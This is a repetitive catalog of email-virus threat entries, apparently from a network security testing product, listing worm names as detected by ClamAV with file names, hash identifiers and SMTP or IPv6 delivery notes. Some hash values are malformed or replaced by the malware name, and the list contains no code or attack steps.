Detailed Description:	This is the email virus Worm.Kondrik.b as detected by ClamAV. This email caught by imperfect networks was applied the following hash value for identification: 575c90738a639d3dc7e2a0e22b7a4c4. This attack is delivered via SMTP to a email server.
Protocol Type:	SMTP
Threat Package:	Email
Threat File Name:	Email-Worm.Win32.Fagled.fag.10054a7d_IPv6.xml
Executive Description:	Email Virus Email-Worm.Win32.Fagled.fag (IPv6 Version)
Detailed Description:	This is the email virus Email-Worm.Win32.Fagled.fag as detected by ClamAV. This email caught by imperfect networks was applied the following hash value for identification: Email-Worm.Win32.Fagled.fag. This attack is delivered via SMTP to a email server. (IPv6 Version)
Protocol Type:	SMTP/IPv6
Threat Package:	Email
Threat File Name:	Email-Worm.Win32.Wideman.8135.b.b.99519cea.xml

Executive Description:	Email Virus Email-Worm.Win32.Wideman.8135.b.b
Detailed Description:	This is the email virus Email-Worm.Win32.Wideman.8135.b.b as detected by ClamAV. This email caught by imperfect networks was applied the following hash value for identification: Email-Worm.Win32.Wideman.8135.b.b. This attack is delivered via SMTP to a email server.
Protocol Type:	SMTP
Threat Package:	Email
Threat File Name:	Worm.Heath.c.05cb6600_IPv6.xml
Executive Description:	Email Virus Worm.Heath.c (IPv6 Version)
Detailed Description:	This is the email virus Worm.Heath.c as detected by ClamAV. This email caught by imperfect networks was applied the following hash value for identification: 05cb660040a843fa2c5602f51fd9efa4. This attack is delivered via SMTP to a email server. (IPv6 Version)
Protocol Type:	SMTP/IPv6
Threat Package:	Email
Threat File Name:	VBS.Alcaul.B.51f19993.xml
Executive Description:	Email Virus VBS.Alcaul.B
Detailed Description:	This is the email virus VBS.Alcaul.B as detected by ClamAV. This email caught by imperfect networks was applied the following hash value for identification: 51f19993474bc77d0cb4694bc6c8f643. This attack is delivered via SMTP to a email server.
Protocol Type:	SMTP
Threat Package:	Email
Threat File Name:	Worm.Lovgate.Y.068ab7af.xml
Executive Description:	Email Virus Worm.Lovgate.Y
Detailed Description:	This is the email virus Worm.Lovgate.Y as detected by ClamAV. This email caught by imperfect networks was applied the following hash value for identification: 068ab7aff165eaf4a6b5d1f5efc5779d. This attack is delivered via SMTP to a email server.
Protocol Type:	SMTP
Threat Package:	Email
Threat File Name:	Worm.Heath.c.b4ccellf_IPv6.xml
Executive Description:	Email Virus Worm.Heath.c (IPv6 Version)
Detailed Description:	This is the email virus Worm.Heath.c as detected by ClamAV. This email caught by imperfect networks was applied the following hash value for identification: b4ccellf5a33a9d3bf623a08f44cd355. This attack is delivered via SMTP to a email server. (IPv6 Version)
Protocol Type:	SMTP/IPv6
Threat Package:	Email
Threat File Name:	Worm.Yaha.G-2.b63eae8c.xml
Executive Description:	Email Virus Worm.Yaha.G-2
Detailed Description:	This is the email virus Worm.Yaha.G-2 as detected by ClamAV. This email caught by imperfect networks was applied the following hash value for identification: b63eae8cfebf0a3f7a05504933dcea5d. This attack is delivered via SMTP to a email server.
Protocol Type:	SMTP
Threat Package:	Email
Threat File Name:	Worm.HappyTime.166ca5f7_IPv6.xml
Executive Description:	Email Virus Worm.HappyTime (IPv6 Version)
Detailed Description:	This is the email virus Worm.HappyTime as detected by ClamAV. This email caught by imperfect networks was applied the following hash value for identification: 166ca5f7fb480b5882f8bb99ebd78b8b. This attack is delivered via SMTP to a email server. (IPv6 Version)
Protocol Type:	SMTP/IPv6
Threat Package:	Email
Threat File Name:	Email-Worm.VBS.Razor.a.a.48860712_IPv6.xml
Executive Description:	Email Virus Email-Worm.VBS.Razor.a.a (IPv6 Version)
Detailed Description:	This is the email virus Email-Worm.VBS.Razor.a.a as detected by ClamAV. This email caught by imperfect networks was applied the following hash value for identification: Email-Worm.VBS.Razor.a.a. This attack is delivered via SMTP to a email server. (IPv6 Version)
Protocol Type:	SMTP/IPv6
Threat Package:	Email
Threat File Name:	VBS.San.A.2e69f2fa_IPv6.xml
Executive Description:	Email Virus VBS.San.A (IPv6 Version)
Detailed Description:	This is the email virus VBS.San.A as detected by ClamAV. This email caught by imperfect networks was applied the following hash value for identification: 2e69f2faldfcf256549cca809cc4c9d6. This attack is delivered via SMTP to a email server. (IPv6 Version)
Protocol Type:	SMTP/IPv6
Threat Package:	Email
Threat File Name:	W32.Magistr.A.ca3a810e_IPv6.xml
Executive Description:	Email Virus W32.Magistr.A (IPv6 Version)
Detailed Description:	This is the email virus W32.Magistr.A as detected by ClamAV. This email caught by imperfect networks was applied the following hash value for identification: ca3a810e952f642bf88a8370c88bd072. This attack is delivered via SMTP to a email server. (IPv6 Version)
Protocol Type:	SMTP/IPv6
Threat Package:	Email
Threat File Name:	Worm.VBS.Titel.c3d48c9d.xml
Executive Description:	Email Virus Worm.VBS.Titel
Detailed Description:	This is the email virus Worm.VBS.Titel as detected by ClamAV. This email caught by imperfect networks was applied the following hash value for identification: c3d48c9decdf70dbce26362453ab46. This attack is delivered via SMTP to a email server.
Protocol Type:	SMTP
Threat Package:	Email

Threat File Name:	Worm.MyPics.e.f8ad9e75.xml
Executive Description:	Email Virus Worm.MyPics.e
Detailed Description:	This is the email virus Worm.MyPics.e as detected by ClamAV. This email caught by imperfect networks was applied the following hash value for identification: f8ad9e75d3fbc6b1023ae5190bbb87ca. This attack is delivered via SMTP to a email server.
Protocol Type:	SMTP
Threat Package:	Email
Threat File Name:	Worm.VBS.MooD.c81495a1_IPv6.xml
Executive Description:	Email Virus Worm.VBS.MooD (IPv6 Version)
Detailed Description:	This is the email virus Worm.VBS.MooD as detected by ClamAV. This email caught by imperfect networks was applied the following hash value for identification: c81495a120fe58efa2da7efcab25d063. This attack is delivered via SMTP to a email server. (IPv6 Version)
Protocol Type:	SMTP/IPv6
Threat Package:	Email
Threat File Name:	VBS.LoveLetter.D.7ce5c690_IPv6.xml
Executive Description:	Email Virus VBS.LoveLetter.D (IPv6 Version)
Detailed Description:	This is the email virus VBS.LoveLetter.D as detected by ClamAV. This email caught by imperfect networks was applied the following hash value for identification: 7ce5c6901f8d0dlcf484850ec9622f99. This attack is delivered via SMTP to a email server. (IPv6 Version)
Protocol Type:	SMTP/IPv6
Threat Package:	Email
Threat File Name:	W32.Magistr.B.435471ea.xml
Executive Description:	Email Virus W32.Magistr.B
Detailed Description:	This is the email virus W32.Magistr.B as detected by ClamAV. This email caught by imperfect networks was applied the following hash value for identification: 435471ea7a9b834d628c91dccc226e91. This attack is delivered via SMTP to a email server.
Protocol Type:	SMTP
Threat Package:	Email
Threat File Name:	Email-Worm.Win32.Buzill.a.a.abb60ef5_IPv6.xml
Executive Description:	Email Virus Email-Worm.Win32.Buzill.a.a (IPv6 Version)
Detailed Description:	This is the email virus Email-Worm.Win32.Buzill.a.a as detected by ClamAV. This email caught by imperfect networks was applied the following hash value for identification: Email-Worm.Win32.Buzill.a.a. This attack is delivered via SMTP to a email server. (IPv6 Version)
Protocol Type:	SMTP/IPv6
Threat Package:	Email
Threat File Name:	Worm.Zafi.B.652968e7_IPv6.xml
Executive Description:	Email Virus Worm.Zafi.B (IPv6 Version)
Detailed Description:	This is the email virus Worm.Zafi.B as detected by ClamAV. This email caught by imperfect networks was applied the following hash value for identification: 652968e789f74144dle64f234406f1d4. This attack is delivered via SMTP to a email server. (IPv6 Version)
Protocol Type:	SMTP/IPv6
Threat Package:	Email
Threat File Name:	Trojan.IWorm.Gift.Anap.a6f5addf_IPv6.xml
Executive Description:	Email Virus Trojan.IWorm.Gift.Anap (IPv6 Version)
Detailed Description:	This is the email virus Trojan.IWorm.Gift.Anap as detected by ClamAV. This email caught by imperfect networks was applied the following hash value for identification: a6f5addfe420782c9469a0625e9b2b56. This attack is delivered via SMTP to a email server. (IPv6 Version)
Protocol Type:	SMTP/IPv6
Threat Package:	Email
Threat File Name:	Worm.Calhob.A.dla46e8d.xml
Executive Description:	Email Virus Worm.Calhob.A
Detailed Description:	This is the email virus Worm.Calhob.A as detected by ClamAV. This email caught by imperfect networks was applied the following hash value for identification: dla46e8d82a26d872096d14b7d2589f8. This attack is delivered via SMTP to a email server.
Protocol Type:	SMTP
Threat Package:	Email
Threat File Name:	Worm.ASP.Paq.A.0ab6eca5_IPv6.xml
Executive Description:	Email Virus Worm.ASP.Paq.A (IPv6 Version)
Detailed Description:	This is the email virus Worm.ASP.Paq.A as detected by ClamAV. This email caught by imperfect networks was applied the following hash value for identification: 0ab6eca56441a7a747dbf3e91b6e17ad. This attack is delivered via SMTP to a email server. (IPv6 Version)
Protocol Type:	SMTP/IPv6
Threat Package:	Email
Threat File Name:	Worm.Poly.28dd1832_IPv6.xml
Executive Description:	Email Virus Worm.Poly (IPv6 Version)
Detailed Description:	This is the email virus Worm.Poly as detected by ClamAV. This email caught by imperfect networks was applied the following hash value for identification: 28dd1832482b92945eb69e3a134cd017. This attack is delivered via SMTP to a email server. (IPv6 Version)
Protocol Type:	SMTP/IPv6
Threat Package:	Email
Threat File Name:	Worm.FunnyPics.ce281ff3.xml
Executive Description:	Email Virus Worm.FunnyPics
Detailed Description:	This is the email virus Worm.FunnyPics as detected by ClamAV. This email caught by imperfect networks was applied the following hash value for identification: ce281ff3a0cbdea45f1f5757052e369b. This attack is delivered via SMTP to a email server.
Protocol Type:	SMTP
Threat Package:	Email

Threat File Name:	Worm.Mimail.I.blad7269_IPv6.xml
Executive Description:	Email Virus Worm.Mimail.I (IPv6 Version)
Detailed Description:	This is the email virus Worm.Mimail.I as detected by ClamAV. This email caught by imperfect networks was applied the following hash value for identification: blad7269b179113d43c7c7564dcf67e0. This attack is delivered via SMTP to a email server. (IPv6 Version)
Protocol Type:	SMTP/IPv6
Threat Package:	Email
Threat File Name:	W95.Silver.1.63db7235_IPv6.xml
Executive Description:	Email Virus W95.Silver.1 (IPv6 Version)
Detailed Description:	This is the email virus W95.Silver.1 as detected by ClamAV. This email caught by imperfect networks was applied the following hash value for identification: 63db723516db09bf837938254e8cb1d3. This attack is delivered via SMTP to a email server. (IPv6 Version)
Protocol Type:	SMTP/IPv6
Threat Package:	Email
Threat File Name:	Trojan.VBS.Nightwish.A.b32e195b_IPv6.xml
Executive Description:	Email Virus Trojan.VBS.Nightwish.A (IPv6 Version)
Detailed Description:	This is the email virus Trojan.VBS.Nightwish.A as detected by ClamAV. This email caught by imperfect networks was applied the following hash value for identification: b32e195b77ac01e6c1be4ffd7ec9e144. This attack is delivered via SMTP to a email server. (IPv6 Version)
Protocol Type:	SMTP/IPv6
Threat Package:	Email
Threat File Name:	Worm.Razac.A.10ce9a77.xml
Executive Description:	Email Virus Worm.Razac.A
Detailed Description:	This is the email virus Worm.Razac.A as detected by ClamAV. This email caught by imperfect networks was applied the following hash value for identification: 10ce9a774daabf126eff86965eed3198. This attack is delivered via SMTP to a email server.
Protocol Type:	SMTP
Threat Package:	Email
Threat File Name:	Worm.VBS.Tavo.71bee564.xml
Executive Description:	Email Virus Worm.VBS.Tavo
Detailed Description:	This is the email virus Worm.VBS.Tavo as detected by ClamAV. This email caught by imperfect networks was applied the following hash value for identification: 71bee56406284430232c73232288c41f. This attack is delivered via SMTP to a email server.
Protocol Type:	SMTP
Threat Package:	Email
Threat File Name:	Worm.Antiax.8dfb3a3b.xml
Executive Description:	Email Virus Worm.Antiax
Detailed Description:	This is the email virus Worm.Antiax as detected by ClamAV. This email caught by imperfect networks was applied the following hash value for identification: 8dfb3a3b3680e105b3e4f3bd0c019d38. This attack is delivered via SMTP to a email server.
Protocol Type:	SMTP
Threat Package:	Email
Threat File Name:	Trojan.JS.Startpage.C.8bb9e14d.xml
Executive Description:	Email Virus Trojan.JS.Startpage.C
Detailed Description:	This is the email virus Trojan.JS.Startpage.C as detected by ClamAV. This email caught by imperfect networks was applied the following hash value for identification: 8bb9e14d6823980c5741b3f20e8b0f91. This attack is delivered via SMTP to a email server.
Protocol Type:	SMTP
Threat Package:	Email
Threat File Name:	Trojan.Downloader.Small-165.74b41503_IPv6.xml
Executive Description:	Email Virus Trojan.Downloader.Small-165 (IPv6 Version)
Detailed Description:	This is the email virus Trojan.Downloader.Small-165 as detected by ClamAV. This email caught by imperfect networks was applied the following hash value for identification: 74b4150355449129cca71ec95f61b55e. This attack is delivered via SMTP to a email server. (IPv6 Version)
Protocol Type:	SMTP/IPv6
Threat Package:	Email
Threat File Name:	Email-Worm.Win32.Updater.e.e.blcafbf0_IPv6.xml
Executive Description:	Email Virus Email-Worm.Win32.Updater.e.e (IPv6 Version)
Detailed Description:	This is the email virus Email-Worm.Win32.Updater.e.e as detected by ClamAV. This email caught by imperfect networks was applied the following hash value for identification: Email-Worm.Win32.Updater.e.e. This attack is delivered via SMTP to a email server. (IPv6 Version)
Protocol Type:	SMTP/IPv6
Threat Package:	Email
Threat File Name:	Worm.Klez.E.ecla90c3_IPv6.xml
Executive Description:	Email Virus Worm.Klez.E (IPv6 Version)
Detailed Description:	This is the email virus Worm.Klez.E as detected by ClamAV. This email caught by imperfect networks was applied the following hash value for identification: ecla90c3bb2262bd9cb3179fel06c7b1. This attack is delivered via SMTP to a email server. (IPv6 Version)
Protocol Type:	SMTP/IPv6
Threat Package:	Email
Threat File Name:	Email-Worm.DOS.Heybro.hey.6634551b.xml
Executive Description:	Email Virus Email-Worm.DOS.Heybro.hey
Detailed Description:	This is the email virus Email-Worm.DOS.Heybro.hey as detected by ClamAV. This email caught by imperfect networks was applied the following hash value for identification: Email-Worm.DOS.Heybro.hey. This attack is delivered via SMTP to a email server.
Protocol Type:	SMTP

Threat Package:	Email
Threat File Name:	Email-Worm.VBS.DragonBall.dra.924d895c_IPv6.xml
Executive Description:	Email Virus Email-Worm.VBS.DragonBall.dra (IPv6 Version)
Detailed Description:	This is the email virus Email-Worm.VBS.DragonBall.dra as detected by ClamAV. This email caught by imperfect networks was applied the following hash value for identification: Email-Worm.VBS.DragonBall.dra. This attack is delivered via SMTP to a email server. (IPv6 Version)
Protocol Type:	SMTP/IPv6
Threat Package:	Email
Threat File Name:	Worm.Bagle.AG.2.72fff9ae.xml
Executive Description:	Email Virus Worm.Bagle.AG.2
Detailed Description:	This is the email virus Worm.Bagle.AG.2 as detected by ClamAV. This email caught by imperfect networks was applied the following hash value for identification: 72fff9ae6f2e943c19d4df36ee776a74. This attack is delivered via SMTP to a email server.
Protocol Type:	SMTP
Threat Package:	Email
Threat File Name:	Worm.Alcaul.t.084d8243.xml
Executive Description:	Email Virus Worm.Alcaul.t
Detailed Description:	This is the email virus Worm.Alcaul.t as detected by ClamAV. This email caught by imperfect networks was applied the following hash value for identification: 084d82431a296b27dcl8cce0175c5bd0. This attack is delivered via SMTP to a email server.
Protocol Type:	SMTP
Threat Package:	Email
Threat File Name:	Worm.Icecubes.A.0556976e.xml
Executive Description:	Email Virus Worm.Icecubes.A
Detailed Description:	This is the email virus Worm.Icecubes.A as detected by ClamAV. This email caught by imperfect networks was applied the following hash value for identification: 0556976eb438ac5f7ff2aa0e1e8db7f3. This attack is delivered via SMTP to a email server.
Protocol Type:	SMTP
Threat Package:	Email
Threat File Name:	Worm.Wozer.F.5d9a4018_IPv6.xml
Executive Description:	Email Virus Worm.Wozer.F (IPv6 Version)
Detailed Description:	This is the email virus Worm.Wozer.F as detected by ClamAV. This email caught by imperfect networks was applied the following hash value for identification: 5d9a401831af2a478c37b4764a95de3c. This attack is delivered via SMTP to a email server. (IPv6 Version)
Protocol Type:	SMTP/IPv6
Threat Package:	Email
Threat File Name:	Email-Worm.Win32.Xanax.d.d.4d60863c.xml
Executive Description:	Email Virus Email-Worm.Win32.Xanax.d.d
Detailed Description:	This is the email virus Email-Worm.Win32.Xanax.d.d as detected by ClamAV. This email caught by imperfect networks was applied the following hash value for identification: Email-Worm.Win32.Xanax.d.d. This attack is delivered via SMTP to a email server.
Protocol Type:	SMTP
Threat Package:	Email
Threat File Name:	Worm.YoursID.f4cclb17.xml
Executive Description:	Email Virus Worm.YoursID
Detailed Description:	This is the email virus Worm.YoursID as detected by ClamAV. This email caught by imperfect networks was applied the following hash value for identification: f4cclb17617b9cfcfeb90e73356b8639. This attack is delivered via SMTP to a email server.
Protocol Type:	SMTP
Threat Package:	Email
Threat File Name:	Worm.Godog.8f940828_IPv6.xml
Executive Description:	Email Virus Worm.Godog (IPv6 Version)
Detailed Description:	This is the email virus Worm.Godog as detected by ClamAV. This email caught by imperfect networks was applied the following hash value for identification: 8f940828ab297b8d23d3050481ae456a. This attack is delivered via SMTP to a email server. (IPv6 Version)
Protocol Type:	SMTP/IPv6
Threat Package:	Email
Threat File Name:	Worm.Doggy.5e3c01ee_IPv6.xml
Executive Description:	Email Virus Worm.Doggy (IPv6 Version)
Detailed Description:	This is the email virus Worm.Doggy as detected by ClamAV. This email caught by imperfect networks was applied the following hash value for identification: 5e3c01ee1471f28ab9a03809f19c3717. This attack is delivered via SMTP to a email server. (IPv6 Version)
Protocol Type:	SMTP/IPv6
Threat Package:	Email
Threat File Name:	Email-Worm.Win32.Langex.lan.a21f458d_IPv6.xml
Executive Description:	Email Virus Email-Worm.Win32.Langex.lan (IPv6 Version)
Detailed Description:	This is the email virus Email-Worm.Win32.Langex.lan as detected by ClamAV. This email caught by imperfect networks was applied the following hash value for identification: Email-Worm.Win32.Langex.lan. This attack is delivered via SMTP to a email server. (IPv6 Version)
Protocol Type:	SMTP/IPv6
Threat Package:	Email
Threat File Name:	Email-Worm.Win32.Hermon.her.8da91e09.xml
Executive Description:	Email Virus Email-Worm.Win32.Hermon.her
Detailed Description:	This is the email virus Email-Worm.Win32.Hermon.her as detected by ClamAV. This email caught by imperfect networks was applied the following hash value for identification: Email-Worm.Win32.Hermon.her. This attack is delivered via SMTP to a email server.

Protocol Type:	SMTP
Threat Package:	Email
Threat File Name:	Worm.3D-Stars.1.d7387686_IPv6.xml
Executive Description:	Email Virus Worm.3D-Stars.1 (IPv6 Version)
Detailed Description:	This is the email virus Worm.3D-Stars.1 as detected by ClamAV. This email caught by imperfect networks was applied the following hash value for identification: d738768613c52557157d90c701cecc5e. This attack is delivered via SMTP to a email server. (IPv6 Version)
Protocol Type:	SMTP/IPv6
Threat Package:	Email
Threat File Name:	Worm.Bagle.BB-gen.b05d6259_IPv6.xml
Executive Description:	Email Virus Worm.Bagle.BB-gen (IPv6 Version)
Detailed Description:	This is the email virus Worm.Bagle.BB-gen as detected by ClamAV. This email caught by imperfect networks was applied the following hash value for identification: b05d62592752bdba6ccf9cf66683d11f. This attack is delivered via SMTP to a email server. (IPv6 Version)
Protocol Type:	SMTP/IPv6
Threat Package:	Email
Threat File Name:	Worm.P2000.c5a6139b_IPv6.xml
Executive Description:	Email Virus Worm.P2000 (IPv6 Version)
Detailed Description:	This is the email virus Worm.P2000 as detected by ClamAV. This email caught by imperfect networks was applied the following hash value for identification: c5a6139b142bc6cc2535f506d936c06e. This attack is delivered via SMTP to a email server. (IPv6 Version)
Protocol Type:	SMTP/IPv6
Threat Package:	Email
Threat File Name:	Worm.Cowpox.f9744915_IPv6.xml
Executive Description:	Email Virus Worm.Cowpox (IPv6 Version)
Detailed Description:	This is the email virus Worm.Cowpox as detected by ClamAV. This email caught by imperfect networks was applied the following hash value for identification: f97449153ad35d8ccd85fc9d706c7e6. This attack is delivered via SMTP to a email server. (IPv6 Version)
Protocol Type:	SMTP/IPv6
Threat Package:	Email
Threat File Name:	W32.Worm.Choke.b14bacd6_IPv6.xml
Executive Description:	Email Virus W32.Worm.Choke (IPv6 Version)
Detailed Description:	This is the email virus W32.Worm.Choke as detected by ClamAV. This email caught by imperfect networks was applied the following hash value for identification: b14bacd6ff439f81c08cc649bdd7a912. This attack is delivered via SMTP to a email server. (IPv6 Version)
Protocol Type:	SMTP/IPv6
Threat Package:	Email
Threat File Name:	W32.Hybris.C.0ff61a81_IPv6.xml
Executive Description:	Email Virus W32.Hybris.C (IPv6 Version)
Detailed Description:	This is the email virus W32.Hybris.C as detected by ClamAV. This email caught by imperfect networks was applied the following hash value for identification: 0ff61a8168b587e026ed448a4884b0e3. This attack is delivered via SMTP to a email server. (IPv6 Version)
Protocol Type:	SMTP/IPv6
Threat Package:	Email
Threat File Name:	Worm.Alcaul.O.c882635e.xml
Executive Description:	Email Virus Worm.Alcaul.O
Detailed Description:	This is the email virus Worm.Alcaul.O as detected by ClamAV. This email caught by imperfect networks was applied the following hash value for identification: c882635ec0dd9a153748adefbcb593. This attack is delivered via SMTP to a email server.
Protocol Type:	SMTP
Threat Package:	Email
Threat File Name:	Worm.Lorda.d77119bc_IPv6.xml
Executive Description:	Email Virus Worm.Lorda (IPv6 Version)
Detailed Description:	This is the email virus Worm.Lorda as detected by ClamAV. This email caught by imperfect networks was applied the following hash value for identification: d77119bcac38455171bef02335eeb5ecf. This attack is delivered via SMTP to a email server. (IPv6 Version)
Protocol Type:	SMTP/IPv6
Threat Package:	Email
Threat File Name:	W32.Ultratt.gz.7fc0a19a.xml
Executive Description:	Email Virus W32.Ultratt.gz
Detailed Description:	This is the email virus W32.Ultratt.gz as detected by ClamAV. This email caught by imperfect networks was applied the following hash value for identification: 7fc0a19adafcc768c7134bd53bb9333f. This attack is delivered via SMTP to a email server.
Protocol Type:	SMTP
Threat Package:	Email
Threat File Name:	Worm.Fbound.C.638e2c92_IPv6.xml
Executive Description:	Email Virus Worm.Fbound.C (IPv6 Version)
Detailed Description:	This is the email virus Worm.Fbound.C as detected by ClamAV. This email caught by imperfect networks was applied the following hash value for identification: 638e2c92260bdc14c6e41fd659a41ab7. This attack is delivered via SMTP to a email server. (IPv6 Version)
Protocol Type:	SMTP/IPv6
Threat Package:	Email
Threat File Name:	Worm.Eversaw.ce9f6729_IPv6.xml
Executive Description:	Email Virus Worm.Eversaw (IPv6 Version)

Detailed Description:	This is the email virus Worm.Eversaw as detected by ClamAV. This email caught by imperfect networks was applied the following hash value for identification: ce9f6729e20384cbf5e6f9865276282c. This attack is delivered via SMTP to a email server. (IPv6 Version)
Protocol Type:	SMTP/IPv6
Threat Package:	Email
Threat File Name:	Worm.Bagle.F.bb364cd2_IPv6.xml
Executive Description:	Email Virus Worm.Bagle.F (IPv6 Version)
Detailed Description:	This is the email virus Worm.Bagle.F as detected by ClamAV. This email caught by imperfect networks was applied the following hash value for identification: bb364cd289c867d33d85ba886e53e0ba. This attack is delivered via SMTP to a email server. (IPv6 Version)
Protocol Type:	SMTP/IPv6
Threat Package:	Email
Threat File Name:	W32.Worm.Hoko.faa0aad3_IPv6.xml
Executive Description:	Email Virus W32.Worm.Hoko (IPv6 Version)
Detailed Description:	This is the email virus W32.Worm.Hoko as detected by ClamAV. This email caught by imperfect networks was applied the following hash value for identification: faa0aad3acd227d73e7e7f7cf61b87. This attack is delivered via SMTP to a email server. (IPv6 Version)
Protocol Type:	SMTP/IPv6
Threat Package:	Email
Threat File Name:	Worm.WCGen.4c2b4d62.xml
Executive Description:	Email Virus Worm.WCGen
Detailed Description:	This is the email virus Worm.WCGen as detected by ClamAV. This email caught by imperfect networks was applied the following hash value for identification: 4c2b4d6277d92e554ae1369a8a4b68e2. This attack is delivered via SMTP to a email server.
Protocol Type:	SMTP
Threat Package:	Email
Threat File Name:	Worm.SomeFool.I.e26bc655_IPv6.xml
Executive Description:	Email Virus Worm.SomeFool.I (IPv6 Version)
Detailed Description:	This is the email virus Worm.SomeFool.I as detected by ClamAV. This email caught by imperfect networks was applied the following hash value for identification: e26bc6552359a226ce6589e60c22151. This attack is delivered via SMTP to a email server. (IPv6 Version)
Protocol Type:	SMTP/IPv6
Threat Package:	Email
Threat File Name:	Email-Worm.Win32.Centar.j.j.4e489950.xml
Executive Description:	Email Virus Email-Worm.Win32.Centar.j.j
Detailed Description:	This is the email virus Email-Worm.Win32.Centar.j.j as detected by ClamAV. This email caught by imperfect networks was applied the following hash value for identification: Email-Worm.Win32.Centar.j.j. This attack is delivered via SMTP to a email server.
Protocol Type:	SMTP
Threat Package:	Email
Threat File Name:	Email-Worm.Win32.Nocana.d.d.e4e7fcbe_IPv6.xml
Executive Description:	Email Virus Email-Worm.Win32.Nocana.d.d (IPv6 Version)
Detailed Description:	This is the email virus Email-Worm.Win32.Nocana.d.d as detected by ClamAV. This email caught by imperfect networks was applied the following hash value for identification: Email-Worm.Win32.Nocana.d.d. This attack is delivered via SMTP to a email server. (IPv6 Version)
Protocol Type:	SMTP/IPv6
Threat Package:	Email
Threat File Name:	Email-Worm.Win32.MsWorld.msw.7bd8a009.xml
Executive Description:	Email Virus Email-Worm.Win32.MsWorld.msw
Detailed Description:	This is the email virus Email-Worm.Win32.MsWorld.msw as detected by ClamAV. This email caught by imperfect networks was applied the following hash value for identification: Email-Worm.Win32.MsWorld.msw. This attack is delivered via SMTP to a email server.
Protocol Type:	SMTP
Threat Package:	Email
Threat File Name:	Worm.Newman.B.bca20f5b.xml
Executive Description:	Email Virus Worm.Newman.B
Detailed Description:	This is the email virus Worm.Newman.B as detected by ClamAV. This email caught by imperfect networks was applied the following hash value for identification: bca20f5ba03447e2afee05688d43bdd8. This attack is delivered via SMTP to a email server.
Protocol Type:	SMTP
Threat Package:	Email
Threat File Name:	Email-Worm.Win32.Manyx.man.8adcd31a_IPv6.xml
Executive Description:	Email Virus Email-Worm.Win32.Manyx.man (IPv6 Version)
Detailed Description:	This is the email virus Email-Worm.Win32.Manyx.man as detected by ClamAV. This email caught by imperfect networks was applied the following hash value for identification: Email-Worm.Win32.Manyx.man. This attack is delivered via SMTP to a email server. (IPv6 Version)
Protocol Type:	SMTP/IPv6
Threat Package:	Email
Threat File Name:	Worm.NatiDay.207486d1.xml
Executive Description:	Email Virus Worm.NatiDay
Detailed Description:	This is the email virus Worm.NatiDay as detected by ClamAV. This email caught by imperfect networks was applied the following hash value for identification: 207486d1302602714133ed92e1c22e39. This attack is delivered via SMTP to a email server.
Protocol Type:	SMTP
Threat Package:	Email
Threat File Name:	Email-Worm.Win32.Delf.d.d.632e8282_IPv6.xml

Executive Description:	Email Virus Email-Worm.Win32.Delf.d.d (IPv6 Version)
Detailed Description:	This is the email virus Email-Worm.Win32.Delf.d.d as detected by ClamAV. This email caught by imperfect networks was applied the following hash value for identification: Email-Worm.Win32.Delf.d.d. This attack is delivered via SMTP to a email server. (IPv6 Version)
Protocol Type:	SMTP/IPv6
Threat Package:	Email
Threat File Name:	Worm.Hatred.b.34775617_IPv6.xml
Executive Description:	Email Virus Worm.Hatred.b (IPv6 Version)
Detailed Description:	This is the email virus Worm.Hatred.b as detected by ClamAV. This email caught by imperfect networks was applied the following hash value for identification: 3477561728af77a73980251bbd7e7b44. This attack is delivered via SMTP to a email server. (IPv6 Version)
Protocol Type:	SMTP/IPv6
Threat Package:	Email
Threat File Name:	Worm.VBS.Intr.A.95dc66a6_IPv6.xml
Executive Description:	Email Virus Worm.VBS.Intr.A (IPv6 Version)
Detailed Description:	This is the email virus Worm.VBS.Intr.A as detected by ClamAV. This email caught by imperfect networks was applied the following hash value for identification: 95dc66a63e0b4c951d4e333928b2fe0. This attack is delivered via SMTP to a email server. (IPv6 Version)
Protocol Type:	SMTP/IPv6
Threat Package:	Email
Threat File Name:	Worm.Bagle.P.75c2df98_IPv6.xml
Executive Description:	Email Virus Worm.Bagle.P (IPv6 Version)
Detailed Description:	This is the email virus Worm.Bagle.P as detected by ClamAV. This email caught by imperfect networks was applied the following hash value for identification: 75c2df982a01db8f5e7024d74b3aef5d. This attack is delivered via SMTP to a email server. (IPv6 Version)
Protocol Type:	SMTP/IPv6
Threat Package:	Email
Threat File Name:	Worm.MyPics.F.a052ff2b_IPv6.xml
Executive Description:	Email Virus Worm.MyPics.F (IPv6 Version)
Detailed Description:	This is the email virus Worm.MyPics.F as detected by ClamAV. This email caught by imperfect networks was applied the following hash value for identification: a052ff2b9b0641b987c82bb7253ceda. This attack is delivered via SMTP to a email server. (IPv6 Version)
Protocol Type:	SMTP/IPv6
Threat Package:	Email
Threat File Name:	Worm.Visilin.9c93bcef_IPv6.xml
Executive Description:	Email Virus Worm.Visilin (IPv6 Version)
Detailed Description:	This is the email virus Worm.Visilin as detected by ClamAV. This email caught by imperfect networks was applied the following hash value for identification: 9c93bcef6c2554cee0a34a29d109515a. This attack is delivered via SMTP to a email server. (IPv6 Version)
Protocol Type:	SMTP/IPv6
Threat Package:	Email
Threat File Name:	Worm.Yoxec.171f0d02_IPv6.xml
Executive Description:	Email Virus Worm.Yoxec (IPv6 Version)
Detailed Description:	This is the email virus Worm.Yoxec as detected by ClamAV. This email caught by imperfect networks was applied the following hash value for identification: 171f0d0206fa49db9ed3c700356f7853. This attack is delivered via SMTP to a email server. (IPv6 Version)
Protocol Type:	SMTP/IPv6
Threat Package:	Email
Threat File Name:	Email-Worm.Win32.Urbe.c.c.93296357_IPv6.xml
Executive Description:	Email Virus Email-Worm.Win32.Urbe.c.c (IPv6 Version)
Detailed Description:	This is the email virus Email-Worm.Win32.Urbe.c.c as detected by ClamAV. This email caught by imperfect networks was applied the following hash value for identification: Email-Worm.Win32.Urbe.c.c. This attack is delivered via SMTP to a email server. (IPv6 Version)
Protocol Type:	SMTP/IPv6
Threat Package:	Email
Threat File Name:	Worm.Totilix.A.ba6bd0ba.xml
Executive Description:	Email Virus Worm.Totilix.A
Detailed Description:	This is the email virus Worm.Totilix.A as detected by ClamAV. This email caught by imperfect networks was applied the following hash value for identification: ba6bd0ba8112a75eb70eb301717aa9bc. This attack is delivered via SMTP to a email server.
Protocol Type:	SMTP
Threat Package:	Email
Threat File Name:	Worm.Crist.A.68e77e71_IPv6.xml
Executive Description:	Email Virus Worm.Crist.A (IPv6 Version)
Detailed Description:	This is the email virus Worm.Crist.A as detected by ClamAV. This email caught by imperfect networks was applied the following hash value for identification: 68e77e7197d29b891e6222953fb6a0f0. This attack is delivered via SMTP to a email server. (IPv6 Version)
Protocol Type:	SMTP/IPv6
Threat Package:	Email
Threat File Name:	W32.IWorm.Haiku.bc41f463_IPv6.xml
